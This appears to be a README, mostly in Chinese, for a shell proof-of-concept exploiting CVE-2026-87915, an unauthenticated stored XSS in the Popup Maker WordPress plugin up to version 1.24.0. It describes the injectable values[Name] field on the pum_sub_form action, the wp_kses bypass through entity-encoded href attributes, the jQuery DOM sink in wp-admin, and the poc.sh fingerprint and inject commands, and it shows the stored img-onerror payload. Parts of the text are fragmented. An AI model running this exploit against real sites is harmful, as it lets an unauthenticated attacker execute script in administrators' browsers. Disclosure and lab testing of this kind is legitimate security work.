针对 CVE-2026-87915 的 Shell PoC,该漏洞是 Popup Maker WordPress 插件(<=1.24.0)中的未认证存储型 XSS。可对插件进行指纹识别并演示载荷注入。
| 组件 | Popup Maker – Boost Sales, Conversions, Optins, Subscribers(WordPress 插件) |
| 类型 | CWE-79 — 存储型跨站脚本 |
| 受影响版本 | <= 1.24.0 |
| 修复版本 | 1.25.0 |
| CVE | CVE-2026-87915 — CVSS 3.1 7.2(AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) |
| PoC | poc.sh |
Popup Maker 的公开 optin/newsletter 表单接受 values[Name] 参数且未进行
清理(action=pum_sub_form)。该值被存储在服务端,随后在管理员的 Subscribers 界面中
渲染。在此上下文中,输出时应用的 wp_kses() 过滤并不充分:允许的属性值内部的 HTML 实体
在规范化后仍然存在,并在管理员点击上下文帮助标签锚点时,被 wp-admin/js/common.js 中的
jQuery( link.attr('href') ) DOM 接收点执行。最终效果:针对管理员的未认证存储型 XSS
(管理员侧需要点击一次)。
# Interactive menu
./poc.sh
# Read-only: fingerprint the plugin and detect a public subscribe form
./poc.sh check --target https://example.com
# Store the payload (writes ONE subscriber row; requires authorization)
./poc.sh inject --target https://example.com --authorized
inject 默认使用唯一的测试邮箱,并打印清理步骤(管理员界面或
DELETE FROM wp_pum_subscribers WHERE email = '…';)。
check)== CVE-2026-87915 PoC (check) ==
target: https://example.com
[1] Plugin fingerprint (read-only)
[PASS] Popup Maker assets are served (plugin installed)
[info] detected version: 1.22.0
[PASS] version 1.22.0 is in the affected range (<= 1.24.0)
[2] Public subscribe form detection (read-only)
[PASS] Popup Maker markup found on the site (a public form may accept values[Name])
inject,实验环境)[3] Stored injection via pum_sub_form (writes one subscriber row)
response: {"success":true,"data":{"message":"You have been subscribed!"}}
[PASS] the server accepted and stored the payload unauthenticated
values[Name] = <a href="https://github.com/pwnvader/cve-2026-87915-poc-pwnvader/blob/main/%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E">VDP-XSS-PROOF</a>
values[name](小写)是正常字段;大小写混合的 values[Name] 在
PHP 数组键规范化过程中发生冲突,从而将载荷带入。wp_kses() 允许 <a href> 元素;属性内部实体编码的 `` 在
过滤后仍然存在,并在之后被解码/规范化。wp-admin/js/common.js 执行 jQuery( link.attr('href') ),它会解析解码后的 HTML
并触发 onerror 处理程序。esc_html() + sanitize_text_field();
参见供应商针对 classes/Admin/Subscribers/Table.php 的变更集)。values[Name]。仅用于授权的安全测试。check 为只读;inject 仅创建一行测试
订阅者记录 — 之后请使用打印出的清理命令将其删除。